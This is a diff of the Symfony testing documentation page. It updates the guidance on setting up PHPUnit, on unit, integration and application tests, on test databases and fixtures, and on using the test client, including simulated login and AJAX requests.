+Before creating your first test, install ``phpunit/phpunit`` and the
+``symfony/test-pack``, which installs some other packages providing useful
+Symfony test utilities:
 
 .. code-block:: terminal
 
-    $ composer require --dev symfony/phpunit-bridge
+    $ composer require --dev phpunit/phpunit symfony/test-pack
 
-After the library downloads, try executing PHPUnit by running (the first time
-you run this, it will download PHPUnit itself and make its classes available in
-your app):
+After the library is installed, try running PHPUnit:
 
 .. code-block:: terminal
 
-    $ ./bin/phpunit
+    $ php ./vendor/bin/phpunit
+
+This commands automatically runs your application's tests. Each test is a
+PHP class ending with "Test" (e.g. ``BlogControllerTest``) that lives in
+the ``tests/`` directory of your application.
+
+PHPUnit is configured by the ``phpunit.xml.dist`` file in the root of your
+application. The default configuration provided by Symfony Flex will be
+enough in most cases. Read the `PHPUnit documentation`_ to discover all
+possible configuration options (e.g. to enable code coverage or to split
+your test into multiple "test suites").
 
 .. note::
 
-    The ``./bin/phpunit`` command is created by :ref:`Symfony Flex <symfony-flex>`
-    when installing the ``phpunit-bridge`` package. If the command is missing, you
-    can remove the package (``composer remove symfony/phpunit-bridge``) and install
-    it again. Another solution is to remove the project's ``symfony.lock`` file and
-    run ``composer install`` to force the execution of all Symfony Flex recipes.
+    :ref:`Symfony Flex <symfony-flex>` automatically creates
+    ``phpunit.xml.dist`` and ``tests/bootstrap.php``. If these files are
+    missing, you can try running the recipe again using
+    ``composer recipes:install phpunit/phpunit --force -v``.
 
-Each test - whether it's a unit test or a functional test - is a PHP class
-that should live in the ``tests/`` directory of your application. If you follow
-this rule, then you can run all of your application's tests with the same
-command as before.
+Types of Tests
+--------------
 
-PHPUnit is configured by the ``phpunit.xml.dist`` file in the root of your
-Symfony application.
+There are many types of automated tests and precise definitions often
+differ from project to project. In Symfony, the following definitions are
+used. If you have learned something different, that is not necessarily
+wrong, just different from what the Symfony documentation is using.
 
-.. tip::
+`Unit Tests`_
+    These tests ensure that *individual* units of source code (e.g. a single
+    class) behave as intended.
 
-    Use the ``--coverage-*`` command options to generate code coverage reports.
-    Read the PHPUnit manual to learn more about `code coverage analysis`_.
+`Integration Tests`_
+    These tests test a combination of classes and commonly interact with
+    Symfony's service container. These tests do not yet cover the fully
+    working application, those are called *Application tests*.
 
-.. index::
-   single: Tests; Unit tests
+`Application Tests`_
+    Application tests test the behavior of a complete application. They
+    make HTTP requests (both real and simulated ones) and test that the
+    response is as expected.
 
 Unit Tests
 ----------
 
-A `unit test`_ ensures that individual units of source code (e.g. a single class
-or some specific method in some class) meet their design and behave as intended.
-If you want to test an entire feature of your application (e.g. registering as a
-user or generating an invoice), see the section about :ref:`Functional Tests <functional-tests>`.
+A `unit test`_ ensures that individual units of source code (e.g. a single
+class or some specific method in some class) meet their design and behave
+as intended. Writing unit tests in a Symfony application is no different
+from writing standard PHPUnit unit tests. You can learn about it in the
+PHPUnit documentation: `Writing Tests for PHPUnit`_.
 
-Writing Symfony unit tests is no different from writing standard PHPUnit
-unit tests. Suppose, for example, that you have an class called ``Calculator``
-in the ``src/Util/`` directory of the app::
+By convention, the ``tests/`` directory should replicate the directory
+of your application for unit tests. So, if you're testing a class in the
+``src/Form/`` directory, put the test in the ``tests/Form/`` directory.
+Autoloading is automatically enabled via the ``vendor/autoload.php`` file
+(as configured by default in the ``phpunit.xml.dist`` file).
 
-    // src/Util/Calculator.php
-    namespace App\Util;
+You can run tests using the ``./vendor/bin/phpunit`` command:
 
-    class Calculator
-    {
-        public function add($a, $b)
-        {
-            return $a + $b;
-        }
-    }
+.. code-block:: terminal
+
+    # run all tests of the application
+    $ php ./vendor/bin/phpunit
 
-To test this, create a ``CalculatorTest`` file in the ``tests/Util`` directory
-of your application::
+    # run all tests in the Form/ directory
+    $ php ./vendor/bin/phpunit tests/Form
 
-    // tests/Util/CalculatorTest.php
-    namespace App\Tests\Util;
+    # run tests for the UserType class
+    $ php ./vendor/bin/phpunit tests/Form/UserTypeTest.php
 
-    use App\Util\Calculator;
-    use PHPUnit\Framework\TestCase;
+.. tip::
+
+    In large test suites, it can make sense to create subdirectories for
+    each type of tests (e.g. ``tests/Unit/`` and ``test/Functional/``).
+
+.. _integration-tests:
+
+Integration Tests
+-----------------
+
+An integration test will test a larger part of your application compared to
+a unit test (e.g. a combination of services). Integration tests might want
+to use the Symfony Kernel to fetch a service from the dependency injection
+container.
+
+Symfony provides a :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase`
+class to help you creating and booting the kernel in your tests using
+``bootKernel()``::
+
+    // tests/Service/NewsletterGeneratorTest.php
+    namespace App\Tests\Service;
 
-    class CalculatorTest extends TestCase
+    use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase;
+
+    class NewsletterGeneratorTest extends KernelTestCase
     {
-        public function testAdd()
+        public function testSomething()
         {
-            $calculator = new Calculator();
-            $result = $calculator->add(30, 12);
+            self::bootKernel();
 
-            // assert that your calculator added the numbers correctly!
-            $this->assertEquals(42, $result);
+            // ...
         }
     }
 
+The ``KernelTestCase`` also makes sure your kernel is rebooted for each
+test. This assures that each test is run independently from each other.
+
+To run your application tests, the ``KernelTestCase`` class needs to
+find the application kernel to initialize. The kernel class is
+usually defined in the ``KERNEL_CLASS`` environment variable
+(included in the default ``.env.test`` file provided by Symfony Flex):
+
+.. code-block:: env
+
+    # .env.test
+    KERNEL_CLASS=App\Kernel
+
 .. note::
 
-    By convention, the ``tests/`` directory should replicate the directory
-    of your application for unit tests. So, if you're testing a class in the
-    ``src/Util/`` directory, put the test in the ``tests/Util/``
-    directory.
+    If your use case is more complex, you can also override the
+    ``getKernelClass()`` or ``createKernel()`` methods of your functional
+    test, which take precedence over the ``KERNEL_CLASS`` env var.
 
-Like in your real application - autoloading is automatically enabled via the
-``vendor/autoload.php`` file (as configured by default in the
-``phpunit.xml.dist`` file).
+Set-up your Test Environment
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can also limit a test run to a directory or a specific test file:
+The tests create a kernel that runs in the ``test``
+:ref:`environment <configuration-environments>`. This allows to have
+special settings for your tests inside ``config/packages/test/``.
 
-.. code-block:: terminal
+If you have Symfony Flex installed, some packages already installed some
+useful test configuration. For example, by default, the Twig bundle is
+configured to be especially strict to catch errors before deploying your
+code to production:
 
-    # run all tests of the application
-    $ php bin/phpunit
+.. configuration-block::
 
-    # run all tests in the Util/ directory
-    $ php bin/phpunit tests/Util
+    .. code-block:: yaml
 
-    # run tests for the Calculator class
-    $ php bin/phpunit tests/Util/CalculatorTest.php
+        # config/packages/test/twig.yaml
+        twig:
+            strict_variables: true
 
-.. index::
-   single: Tests; Functional tests
+    .. code-block:: xml
 
-.. _functional-tests:
+        <!-- config/packages/test/twig.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:twig="http://symfony.com/schema/dic/twig"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/twig
+                https://symfony.com/schema/dic/twig/twig-1.0.xsd">
 
-Functional Tests
-----------------
+            <framework:config strict-variables="true"/>
+        </container>
 
-Functional tests check the integration of the different layers of an
-application (from the routing to the views). They are no different from unit
-tests as far as PHPUnit is concerned, but they have a very specific workflow:
+    .. code-block:: php
 
-* Make a request;
-* Click on a link or submit a form;
-* Test the response;
-* Rinse and repeat.
+        // config/packages/test/twig.php
+        use Symfony\Config\TwigConfig;
 
-Before creating your first test, install these packages that provide some of the
-utilities used in the functional tests:
+        return static function (TwigConfig $twig) {
+            $twig->strictVariables(true);
+        };
 
-.. code-block:: terminal
+You can also use a different environment entirely, or override the default
+debug mode (``true``) by passing each as options to the ``bootKernel()``
+method::
 
-    $ composer require --dev symfony/browser-kit symfony/css-selector
+    self::bootKernel([
+        'environment' => 'my_test_env',
+        'debug'       => false,
+    ]);
 
-Your First Functional Test
-~~~~~~~~~~~~~~~~~~~~~~~~~~
-Functional tests are PHP files that typically live in the ``tests/Controller``
-directory of your application. If you want to test the pages handled by your
-``PostController`` class, start by creating a new ``PostControllerTest.php``
-file that extends a special ``WebTestCase`` class.
+.. tip::
 
-As an example, a test could look like this::
+    It is recommended to run your test with ``debug`` set to ``false`` on
+    your CI server, as it significantly improves test performance. This
+    disables clearing the cache. If your tests don't run in a clean
+    environment each time, you have to manually clear it using for instance
+    this code in ``tests/bootstrap.php``::
 
-    // tests/Controller/PostControllerTest.php
-    namespace App\Tests\Controller;
+        // ...
 
-    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
+        // ensure a fresh cache when debug mode is disabled
+        (new \Symfony\Component\Filesystem\Filesystem())->remove(__DIR__.'/../var/cache/test');
 
-    class PostControllerTest extends WebTestCase
+Customizing Environment Variables
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to customize some environment variables for your tests (e.g. the
+``DATABASE_URL`` used by Doctrine), you can do that by overriding anything you
+need in your ``.env.test`` file:
+
+.. code-block:: text
+
+    # .env.test
+
+    # ...
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=5.7"
+
+In the test environment, these env files are read (if vars are duplicated
+in them, files lower in the list override previous items):
+
+#. ``.env``: containing env vars with application defaults;
+#. ``.env.test``: overriding/setting specific test values or vars;
+#. ``.env.test.local``: overriding settings specific for this machine.
+
+.. caution::
+
+    The ``.env.local`` file is **not** used in the test environment, to
+    make each test set-up as consistent as possible.
+
+Retrieving Services in the Test
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In your integration tests, you often need to fetch the service from the
+service container to call a specific method. After booting the kernel,
+the container is stored in ``static::getContainer()``::
+
+    // tests/Service/NewsletterGeneratorTest.php
+    namespace App\Tests\Service;
+
+    use App\Service\NewsletterGenerator;
+    use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase;
+
+    class NewsletterGeneratorTest extends KernelTestCase
     {
-        public function testShowPost()
+        public function testSomething()
         {
-            $client = static::createClient();
+            // (1) boot the Symfony kernel
+            self::bootKernel();
 
-            $client->request('GET', '/post/hello-world');
+            // (2) use static::getContainer() to access the service container
+            $container = static::getContainer();
 
-            $this->assertEquals(200, $client->getResponse()->getStatusCode());
+            // (3) run some service & test the result
+            $newsletterGenerator = $container->get(NewsletterGenerator::class);
+            $newsletter = $newsletterGenerator->generateMonthlyNews(...);
+
+            $this->assertEquals(..., $newsletter->getContent());
         }
     }
 
-.. tip::
+The container in ``static::getContainer()`` is actually a special test container.
+It gives you access to both the public services and the non-removed
+:ref:`private services <container-public>` services.
+
+.. note::
 
-    To run your functional tests, the ``WebTestCase`` class needs to know which
-    is the application kernel to bootstrap it. The kernel class is usually
-    defined in the ``KERNEL_CLASS`` environment variable (included in the
-    default ``.env.test`` file provided by Symfony):
+    If you need to test private services that have been removed (those who
+    are not used by any other services), you need to declare those private
+    services as public in the ``config/services_test.yaml`` file.
 
-    If your use case is more complex, you can also override the
-    ``createKernel()`` or ``getKernelClass()`` methods of your functional test,
-    which take precedence over the ``KERNEL_CLASS`` env var.
+.. _testing-databases:
 
-In the above example, you validated that the HTTP response was successful. The
-next step is to validate that the page actually contains the expected content.
-The ``createClient()`` method returns a client, which is like a browser that
-you'll use to crawl your site::
+Configuring a Database for Tests
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    $crawler = $client->request('GET', '/post/hello-world');
+Tests that interact with the database should use their own separate
+database to not mess with the databases used in the other
+:ref:`configuration environments <configuration-environments>`.
 
-The ``request()`` method (read
-:ref:`more about the request method <testing-request-method-sidebar>`)
-returns a :class:`Symfony\\Component\\DomCrawler\\Crawler` object which can
-be used to select elements in the response, click on links and submit forms.
+To do that, edit or create the ``.env.test.local`` file at the root
+directory of your project and define the new value for the ``DATABASE_URL``
+env var:
 
-.. tip::
+.. code-block:: env
 
-    The ``Crawler`` only works when the response is an XML or an HTML document.
-    To get the raw content response, call ``$client->getResponse()->getContent()``.
+    # .env.test.local
+    DATABASE_URL="mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=5.7"
 
-The crawler integrates with the ``symfony/css-selector`` component to give you the
-power of CSS selectors to find content in a page. To install the CSS selector
-component, run:
+This assumes that each developer/machine uses a different database for the
+tests. If the test set-up is the same on each machine, use the ``.env.test``
+file instead and commit it to the shared repository. Learn more about
+:ref:`using multiple .env files in Symfony applications <configuration-multiple-env-files>`.
 
-.. code-block:: terminal
+After that, you can create the test database and all tables using:
 
-    $ composer require --dev symfony/css-selector
+.. code-block:: terminal
 
-Now you can use CSS selectors with the crawler. To assert that the phrase
-"Hello World" is present in the page's main title, you can use this assertion::
+    # create the test database
+    $ php bin/console --env=test doctrine:database:create
 
-    $this->assertSelectorTextContains('html h1.title', 'Hello World');
+    # create the tables/columns in the test database
+    $ php bin/console --env=test doctrine:schema:create
 
-This assertion checks if the first element matching the CSS selector contains
-the given text. This assert calls ``$crawler->filter('html h1.title')``
-internally, which allows you to use CSS selectors to filter any HTML element in
-the page and check for its existence, attributes, text, etc.
+.. tip::
 
-The ``assertSelectorTextContains`` method is not a native PHPUnit assertion and is
-available thanks to the ``WebTestCase`` class.
+    A common practice is to append the ``_test`` suffix to the original
+    database names in tests. If the database name in production is called
+    ``project_acme`` the name of the testing database could be
+    ``project_acme_test``.
 
-The crawler can also be used to interact with the page. Click on a link by first
-selecting it with the crawler using either an XPath expression or a CSS selector,
-then use the client to click on it::
+Resetting the Database Automatically Before each Test
+.....................................................
 
-    $link = $crawler
-        ->filter('a:contains("Greet")') // find all links with the text "Greet"
-        ->eq(1) // select the second link in the list
-        ->link()
-    ;
+Tests should be independent from each other to avoid side effects. For
+example, if some test modifies the database (by adding or removing an
+entity) it could change the results of other tests.
 
-    // and click it
-    $crawler = $client->click($link);
+The `DAMADoctrineTestBundle`_ uses Doctrine transactions to let each test
+interact with an unmodified database. Install it using:
 
-Submitting a form is very similar: select a form button, optionally override
-some form values and submit the corresponding form::
+.. code-block:: terminal
 
-    $form = $crawler->selectButton('submit')->form();
+    $ composer require --dev dama/doctrine-test-bundle
 
-    // set some values
-    $form['name'] = 'Lucas';
-    $form['form_name[subject]'] = 'Hey there!';
+Now, enable it as a PHPUnit extension:
 
-    // submit the form
-    $crawler = $client->submit($form);
+.. code-block:: xml
 
-.. tip::
+    <!-- phpunit.xml.dist -->
+    <phpunit>
+        <!-- ... -->
 
-    The form can also handle uploads and contains methods to fill in different types
-    of form fields (e.g. ``select()`` and ``tick()``). For details, see the
-    `Forms`_ section below.
+        <extensions>
+            <extension class="DAMA\DoctrineTestBundle\PHPUnit\PHPUnitExtension"/>
+        </extensions>
+    </phpunit>
 
-Now that you can navigate through an application, use assertions to test
-that it actually does what you expect it to. Use the Crawler to make assertions
-on the DOM::
+That's it! This bundle uses a clever trick: it begins a database
+transaction before every test and rolls it back automatically after the
+test finishes to undo all changes. Read more in the documentation of the
+`DAMADoctrineTestBundle`_.
 
-    // asserts that the response matches a given CSS selector.
-    $this->assertGreaterThan(0, $crawler->filter('h1')->count());
+.. _doctrine-fixtures:
 
-Or test against the response content directly if you just want to assert that
-the content contains some text or in case that the response is not an XML/HTML
-document::
+Load Dummy Data Fixtures
+........................
 
-    $this->assertStringContainsString(
-        'Hello World',
-        $client->getResponse()->getContent()
-    );
+Instead of using the real data from the production database, it's common to
+use fake or dummy data in the test database. This is usually called
+*"fixtures data"* and Doctrine provides a library to create and load them.
+Install it with:
 
-.. tip::
+.. code-block:: terminal
 
-    Instead of installing each testing dependency individually, you can use the
-    ``test`` :ref:`Symfony pack <symfony-packs>` to install all those dependencies at once:
+    $ composer require --dev doctrine/doctrine-fixtures-bundle
 
-    .. code-block:: terminal
+Then, use the ``make:fixtures`` command of the `SymfonyMakerBundle`_ to
+generate an empty fixture class:
 
-        $ composer require --dev symfony/test-pack
+.. code-block:: terminal
 
-.. index::
-   single: Tests; Assertions
+    $ php bin/console make:fixtures
 
-.. sidebar:: Useful Assertions
+    The class name of the fixtures to create (e.g. AppFixtures):
+    > ProductFixture
 
-    To get you started faster, here is a list of the most common and
-    useful test assertions::
+Then you modify use this class to load new entities in the database. For
+instance, to load ``Product`` objects into Doctrine, use::
 
-        use Symfony\Component\HttpFoundation\Response;
+    // src/DataFixtures/ProductFixture.php
+    namespace App\DataFixtures;
 
-        // ...
+    use App\Entity\Product;
+    use Doctrine\Bundle\FixturesBundle\Fixture;
+    use Doctrine\Persistence\ObjectManager;
 
-        // asserts that there is at least one h2 tag with the class "subtitle"
-        // the third argument is an optional message shown on failed tests
-        $this->assertGreaterThan(0, $crawler->filter('h2.subtitle')->count(),
-            'There is at least one subtitle'
-        );
-
-        // asserts that there are exactly 4 h2 tags on the page
-        $this->assertCount(4, $crawler->filter('h2'));
-
-        // asserts that the "Content-Type" header is "application/json"
-        $this->assertResponseHeaderSame('Content-Type', 'application/json');
-        // equivalent to:
-        $this->assertTrue($client->getResponse()->headers->contains(
-            'Content-Type', 'application/json'
-        ));
-
-        // asserts that the response content contains a string
-        $this->assertStringContainsString('foo', $client->getResponse()->getContent());
-        // ...or matches a regex
-        $this->assertRegExp('/foo(bar)?/', $client->getResponse()->getContent());
-
-        // asserts that the response status code is 2xx
-        $this->assertResponseIsSuccessful();
-        // equivalent to:
-        $this->assertTrue($client->getResponse()->isSuccessful());
-
-        // asserts that the response status code is 404 Not Found
-        $this->assertTrue($client->getResponse()->isNotFound());
-
-        // asserts a specific status code
-        $this->assertResponseStatusCodeSame(201);
-        // HTTP status numbers are available as constants too:
-        // e.g. 201 === Symfony\Component\HttpFoundation\Response::HTTP_CREATED
-        // equivalent to:
-        $this->assertEquals(201, $client->getResponse()->getStatusCode());
-
-        // asserts that the response is a redirect to /demo/contact
-        $this->assertResponseRedirects('/demo/contact');
-        // equivalent to:
-        $this->assertTrue($client->getResponse()->isRedirect('/demo/contact'));
-        // ...or check that the response is a redirect to any URL
-        $this->assertResponseRedirects();
-
-.. _testing-data-providers:
-
-Testing against Different Sets of Data
---------------------------------------
-
-It's common to have to execute the same test against different sets of data to
-check the multiple conditions code must handle. This is solved with PHPUnit's
-`data providers`_, which work both for unit and functional tests.
-
-First, add one or more arguments to your test method and use them inside the
-test code. Then, define another method which returns a nested array with the
-arguments to use on each test run. Lastly, add the ``@dataProvider`` annotation
-to associate both methods::
-
-    /**
-     * @dataProvider provideUrls
-     */
-    public function testPageIsSuccessful($url)
+    class ProductFixture extends Fixture
     {
-        $client = self::createClient();
-        $client->request('GET', $url);
+        public function load(ObjectManager $manager)
+        {
+            $product = new Product();
+            $product->setName('Priceless widget');
+            $product->setPrice(14.50);
+            $product->setDescription('Ok, I guess it *does* have a price');
+            $manager->persist($product);
 
-        $this->assertTrue($client->getResponse()->isSuccessful());
-    }
+            // add more products
 
-    public function provideUrls()
-    {
-        return [
-            ['/'],
-            ['/blog'],
-            ['/contact'],
-            // ...
-        ];
+            $manager->flush();
+        }
     }
 
-.. index::
-   single: Tests; Client
+Empty the database and reload *all* the fixture classes with:
 
-Working with the Test Client
-----------------------------
+.. code-block:: terminal
 
-The test client simulates an HTTP client like a browser and makes requests
-into your Symfony application::
+    $ php bin/console doctrine:fixtures:load
 
-    $crawler = $client->request('GET', '/post/hello-world');
+For more information, read the `DoctrineFixturesBundle documentation`_.
 
-The ``request()`` method takes the HTTP method and a URL as arguments and
-returns a ``Crawler`` instance.
+.. _functional-tests:
 
-.. tip::
+Application Tests
+-----------------
 
-    Hardcoding the request URLs is a best practice for functional tests. If the
-    test generates URLs using the Symfony router, it won't detect any change
-    made to the application URLs which may impact the end users.
-
-.. _testing-request-method-sidebar:
-
-.. sidebar:: More about the ``request()`` Method:
-
-    The full signature of the ``request()`` method is::
-
-        request(
-            string $method,
-            string $uri,
-            array $parameters = [],
-            array $files = [],
-            array $server = [],
-            string $content = null,
-            bool $changeHistory = true
-        )
-
-    The ``server`` array is the raw values that you'd expect to normally
-    find in the PHP `$_SERVER`_ superglobal. For example, to set the
-    ``Content-Type`` and ``Referer`` HTTP headers, you'd pass the following (mind
-    the ``HTTP_`` prefix for non standard headers)::
-
-        $client->request(
-            'GET',
-            '/post/hello-world',
-            [],
-            [],
-            [
-                'CONTENT_TYPE' => 'application/json',
-                'HTTP_REFERER' => '/foo/bar',
-            ]
-        );
-
-Use the crawler to find DOM elements in the response. These elements can then
-be used to click on links and submit forms::
-
-    $crawler = $client->clickLink('Go elsewhere...');
-
-    $crawler = $client->submitForm('validate', ['name' => 'Fabien']);
-
-The ``clickLink()`` and ``submitForm()`` methods both return a ``Crawler`` object.
-These methods are the best way to browse your application as it takes care
-of a lot of things for you, like detecting the HTTP method from a form and
-giving you a nice API for uploading files.
-
-The ``request()`` method can also be used to simulate form submissions directly
-or perform more complex requests. Some useful examples::
-
-    // submits a form directly (but using the Crawler is easier!)
-    $client->request('POST', '/submit', ['name' => 'Fabien']);
-
-    // submits a raw JSON string in the request body
-    $client->request(
-        'POST',
-        '/submit',
-        [],
-        [],
-        ['CONTENT_TYPE' => 'application/json'],
-        '{"name":"Fabien"}'
-    );
-
-    // Form submission with a file upload
-    use Symfony\Component\HttpFoundation\File\UploadedFile;
-
-    $photo = new UploadedFile(
-        '/path/to/photo.jpg',
-        'photo.jpg',
-        'image/jpeg',
-        null
-    );
-    $client->request(
-        'POST',
-        '/submit',
-        ['name' => 'Fabien'],
-        ['photo' => $photo]
-    );
-
-    // Perform a DELETE request and pass HTTP headers
-    $client->request(
-        'DELETE',
-        '/post/12',
-        [],
-        [],
-        ['PHP_AUTH_USER' => 'username', 'PHP_AUTH_PW' => 'pa$$word']
-    );
-
-Last but not least, you can force each request to be executed in its own PHP
-process to avoid any side effects when working with several clients in the same
-script::
-
-    $client->insulate();
-
-AJAX Requests
-~~~~~~~~~~~~~
-
-The Client provides a :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest`
-method, which has the same arguments as the ``request()`` method, and it's a
-shortcut to make AJAX requests::
+Application tests check the integration of all the different layers of the
+application (from the routing to the views). They are no different from
+unit tests or integration tests as far as PHPUnit is concerned, but they
+have a very specific workflow:
 
-    // the required HTTP_X_REQUESTED_WITH header is added automatically
-    $client->xmlHttpRequest('POST', '/submit', ['name' => 'Fabien']);
+#. :ref:`Make a request <testing-applications-arrange>`;
+#. :ref:`Interact with the page <testing-applications-act>` (e.g. click on a link or submit a form);
+#. :ref:`Test the response <testing-application-assertions>`;
+#. Rinse and repeat.
 
-Browsing
-~~~~~~~~
+.. note::
 
-The Client supports many operations that can be done in a real browser::
+    The tools used in this section can be installed via the ``symfony/test-pack``,
+    use ``composer require symfony/test-pack`` if you haven't done so already.
 
-    $client->back();
-    $client->forward();
-    $client->reload();
+Write Your First Application Test
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    // clears all cookies and the history
-    $client->restart();
+Application tests are PHP files that typically live in the ``tests/Controller/``
+directory of your application. They often extend
+:class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase`. This class
+adds special logic on top of the ``KernelTestCase``. You can read more
+about that in the above :ref:`section on integration tests <integration-tests>`.
 
-.. note::
+If you want to test the pages handled by your
+``PostController`` class, start by creating a new ``PostControllerTest``
+using the ``make:test`` command of the `SymfonyMakerBundle`_:
 
-    The ``back()`` and ``forward()`` methods skip the redirects that may have
-    occurred when requesting a URL, as normal browsers do.
+.. code-block:: terminal
 
-Accessing Internal Objects
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+    $ php bin/console make:test
 
-If you use the client to test your application, you might want to access the
-client's internal objects::
+     Which test type would you like?:
+     > WebTestCase
 
-    $history = $client->getHistory();
-    $cookieJar = $client->getCookieJar();
+     The name of the test class (e.g. BlogPostTest):
+     > Controller\PostControllerTest
 
-You can also get the objects related to the latest request::
+This creates the following test class::
 
-    // the HttpKernel request instance
-    $request = $client->getRequest();
+    // tests/Controller/PostControllerTest.php
+    namespace App\Tests\Controller;
 
-    // the BrowserKit request instance
-    $request = $client->getInternalRequest();
+    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
 
-    // the HttpKernel response instance
-    $response = $client->getResponse();
+    class PostControllerTest extends WebTestCase
+    {
+        public function testSomething(): void
+        {
+            // This calls KernelTestCase::bootKernel(), and creates a
+            // "client" that is acting as the browser
+            $client = static::createClient();
 
-    // the BrowserKit response instance
-    $response = $client->getInternalResponse();
+            // Request a specific page
+            $crawler = $client->request('GET', '/');
 
-    // the Crawler instance
-    $crawler = $client->getCrawler();
+            // Validate a successful response and some content
+            $this->assertResponseIsSuccessful();
+            $this->assertSelectorTextContains('h1', 'Hello World');
+        }
+    }
 
-Accessing the Container
-~~~~~~~~~~~~~~~~~~~~~~~
+In the above example, the test validates that the HTTP response was successful
+and the request body contains a ``<h1>`` tag with ``"Hello world"``.
 
-Functional tests should only test the response (e.g. its contents or its HTTP
-status code). However, in some rare circumstances you may need to access the
-container to use some service.
+The ``request()`` method also returns a crawler, which you can use to
+create more complex assertions in your tests::
 
-First, you can get the same container used in the application, which only
-includes the public services::
+    $crawler = $client->request('GET', '/post/hello-world');
 
-    public function testSomething()
-    {
-        $client = self::createClient();
-        $container = $client->getContainer();
-        // $someService = $container->get('the-service-ID');
+    // for instance, count the number of ``.comment`` elements on the page
+    $this->assertCount(4, $crawler->filter('.comment'));
 
-        // ...
-    }
+You can learn more about the crawler in :doc:`/testing/dom_crawler`.
 
-Symfony tests also have access to a special container that includes both the
-public services and the non-removed :ref:`private services <container-public>`
-services::
+.. _testing-applications-arrange:
 
-    public function testSomething()
-    {
-        // this call is needed; otherwise the container will be empty
-        self::bootKernel();
+Making Requests
+~~~~~~~~~~~~~~~
 
-        $container = self::$container;
-        // $someService = $container->get('the-service-ID');
+The test client simulates an HTTP client like a browser and makes requests
+into your Symfony application::
 
-        // ...
-    }
+    $crawler = $client->request('GET', '/post/hello-world');
 
-Finally, for the most rare edge-cases, Symfony includes a special container
-which provides access to all services, public and private. This special
-container is a service that can be get via the normal container::
+The ``request()`` method takes the HTTP method and a URL as arguments and
+returns a ``Crawler`` instance.
 
-    public function testSomething()
-    {
-        $client = self::createClient();
-        $normalContainer = $client->getContainer();
-        $specialContainer = $normalContainer->get('test.service_container');
+.. tip::
 
-        // $somePrivateService = $specialContainer->get('the-service-ID');
+    Hardcoding the request URLs is a best practice for application tests.
+    If the test generates URLs using the Symfony router, it won't detect
+    any change made to the application URLs which may impact the end users.
 
-        // ...
-    }
+The full signature of the ``request()`` method is::
+
+    request(
+        $method,
+        $uri,
+        array $parameters = [],
+        array $files = [],
+        array $server = [],
+        $content = null,
+        $changeHistory = true
+    )
+
+This allows you to create all types of requests you can think of:
+
+.. contents::
+    :local:
+    :depth: 1
 
 .. tip::
 
-    If the information you need to check is available from the profiler, use
-    it instead.
+    The test client is available as the ``test.client`` service in the
+    container in the ``test`` environment (or wherever the
+    :ref:`framework.test <reference-framework-test>` option is enabled).
+    This means you can override the service entirely if you need to.
+
+Browsing the Site
+.................
+
+The Client supports many operations that can be done in a real browser::
+
+    $client->back();
+    $client->forward();
+    $client->reload();
+
+    // clears all cookies and the history
+    $client->restart();
+
+.. note::
+
+    The ``back()`` and ``forward()`` methods skip the redirects that may have
+    occurred when requesting a URL, as normal browsers do.
+
+Redirecting
+...........
+
+When a request returns a redirect response, the client does not follow
+it automatically. You can examine the response and force a redirection
+afterwards with the ``followRedirect()`` method::
+
+    $crawler = $client->followRedirect();
+
+If you want the client to automatically follow all redirects, you can
+force them by calling the ``followRedirects()`` method before performing the request::
+
+    $client->followRedirects();
+
+If you pass ``false`` to the ``followRedirects()`` method, the redirects
+will no longer be followed::
+
+    $client->followRedirects(false);
 
 .. _testing_logging_in_users:
 
 Logging in Users (Authentication)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.................................
 
 .. versionadded:: 5.1
 
     The ``loginUser()`` method was introduced in Symfony 5.1.
 
-When you want to add functional tests for protected pages, you have to
+When you want to add application tests for protected pages, you have to
 first "login" as a user. Reproducing the actual steps - such as
 submitting a login form - make a test very slow. For this reason, Symfony
 provides a ``loginUser()`` method to simulate logging in in your functional
 tests.
 
-Instead of login in with real users, it's recommended to create a user only for
-tests. You can do that with Doctrine :ref:`data fixtures <user-data-fixture>`,
-to load the testing users only in the test database.
+Instead of logging in with real users, it's recommended to create a user
+only for tests. You can do that with `Doctrine data fixtures`_ to load the
+testing users only in the test database.
 
 After loading users in your database, use your user repository to fetch
 this user and use
@@ -622,7 +609,7 @@ to simulate a login request::
         public function testVisitingWhileLoggedIn()
         {
             $client = static::createClient();
-            $userRepository = static::$container->get(UserRepository::class);
+            $userRepository = static::getContainer()->get(UserRepository::class);
 
             // retrieve the test user
             $testUser = $userRepository->findOneByEmail('john.doe@example.com');
@@ -643,156 +630,115 @@ You can pass any
 :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\TestBrowserToken` object and
 stores in the session of the test client.
 
-Accessing the Profiler Data
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-On each request, you can enable the Symfony profiler to collect data about the
-internal handling of that request. For example, the profiler could be used to
-verify that a given page runs less than a certain number of database
-queries when loading.
-
-To get the Profiler for the last request, do the following::
+Making AJAX Requests
+....................
 
-    // enables the profiler for the very next request
-    $client->enableProfiler();
+The client provides an
+:method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest`
+method, which has the same arguments as the ``request()`` method and is
+a shortcut to make AJAX requests::
 
-    $crawler = $client->request('GET', '/profiler');
-
-    // gets the profile
-    $profile = $client->getProfile();
-
-For specific details on using the profiler inside a test, see the
-:doc:`/testing/profiling` article.
+    // the required HTTP_X_REQUESTED_WITH header is added automatically
